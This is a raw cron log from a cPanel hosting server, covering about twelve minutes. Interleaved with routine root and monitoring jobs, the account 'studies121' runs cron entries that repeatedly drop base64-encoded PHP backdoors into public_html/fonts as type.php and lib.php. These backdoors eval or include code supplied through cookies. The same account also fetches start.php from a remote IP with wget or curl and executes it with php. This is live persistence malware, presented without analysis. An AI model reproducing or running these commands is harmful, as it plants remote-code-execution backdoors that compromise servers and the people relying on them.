Sep 20 10:53:01 ip-184-168-122-23 CROND[29510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:53:01 ip-184-168-122-23 CROND[29512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:53:01 ip-184-168-122-23 CROND[29513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:53:01 ip-184-168-122-23 CROND[29514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:54:01 ip-184-168-122-23 CROND[29765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:54:01 ip-184-168-122-23 CROND[29767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:54:01 ip-184-168-122-23 CROND[29768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:54:01 ip-184-168-122-23 CROND[29771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:54:01 ip-184-168-122-23 CROND[29770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:55:01 ip-184-168-122-23 CROND[30090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:55:01 ip-184-168-122-23 CROND[30092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:55:01 ip-184-168-122-23 CROND[30093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:55:01 ip-184-168-122-23 CROND[30094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:55:01 ip-184-168-122-23 CROND[30095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:55:01 ip-184-168-122-23 CROND[30096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:56:01 ip-184-168-122-23 CROND[30367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:56:01 ip-184-168-122-23 CROND[30372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:56:01 ip-184-168-122-23 CROND[30371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:56:01 ip-184-168-122-23 CROND[30369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:56:01 ip-184-168-122-23 CROND[30373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:57:01 ip-184-168-122-23 CROND[30617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:57:01 ip-184-168-122-23 CROND[30618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:57:01 ip-184-168-122-23 CROND[30620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:57:01 ip-184-168-122-23 CROND[30621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:58:01 ip-184-168-122-23 CROND[30894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:58:01 ip-184-168-122-23 CROND[30897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:58:01 ip-184-168-122-23 CROND[30896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:58:01 ip-184-168-122-23 CROND[30899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:58:01 ip-184-168-122-23 CROND[30898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:59:02 ip-184-168-122-23 CROND[31144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:59:02 ip-184-168-122-23 CROND[31146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:59:02 ip-184-168-122-23 CROND[31147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:59:02 ip-184-168-122-23 CROND[31148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:00:01 ip-184-168-122-23 CROND[31454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:00:01 ip-184-168-122-23 CROND[31458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:00:01 ip-184-168-122-23 CROND[31461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:00:01 ip-184-168-122-23 CROND[31460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 11:00:01 ip-184-168-122-23 CROND[31462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:00:01 ip-184-168-122-23 CROND[31459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:00:01 ip-184-168-122-23 CROND[31463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:00:01 ip-184-168-122-23 CROND[31464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:01:01 ip-184-168-122-23 CROND[31745]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 11:01:01 ip-184-168-122-23 CROND[31748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31745]: starting 0anacron
Sep 20 11:01:01 ip-184-168-122-23 CROND[31751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:01:01 ip-184-168-122-23 CROND[31750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:01:01 ip-184-168-122-23 CROND[31753]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 11:01:01 ip-184-168-122-23 CROND[31756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31766]: finished 0anacron
Sep 20 11:02:01 ip-184-168-122-23 CROND[32011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:02:01 ip-184-168-122-23 CROND[32012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:02:01 ip-184-168-122-23 CROND[32014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:02:01 ip-184-168-122-23 CROND[32017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:02:01 ip-184-168-122-23 CROND[32018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:03:01 ip-184-168-122-23 CROND[32265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:03:01 ip-184-168-122-23 CROND[32268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:03:01 ip-184-168-122-23 CROND[32266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:03:01 ip-184-168-122-23 CROND[32267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:04:01 ip-184-168-122-23 CROND[32535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:04:01 ip-184-168-122-23 CROND[32536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:04:01 ip-184-168-122-23 CROND[32537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:04:01 ip-184-168-122-23 CROND[32541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:04:01 ip-184-168-122-23 CROND[32543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:05:01 ip-184-168-122-23 CROND[349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
